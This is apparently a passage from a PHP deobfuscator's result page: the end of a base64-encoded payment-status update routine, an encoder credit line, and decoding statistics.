jpsb2NrRm9yVXBkYXRlKCktPmZpbmQoJGFycmF5WydzdWl0cGF5bWVudF9pZCddKTsKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkc3VpdFBheVBheW1lbnQpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYoJHN1aXRQYXlQYXltZW50LT51cGRhdGUoWydzdGF0dXMnID0+IDEsICdwYXltZW50X2lkJyA9PiAkcmVzcG9uc2VEYXRhWydpZFRyYW5zYWN0aW9uJ11dKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9Cg=="));//Generated by Ampare PHP Encoder. For more security please use php protect before encode the php program

Function Calls

base64_decode 1

Variables

None

Stats

MD5 0e6055b7233b2413245b7021912dc28f
Eval Count 1
Decode Time 51 ms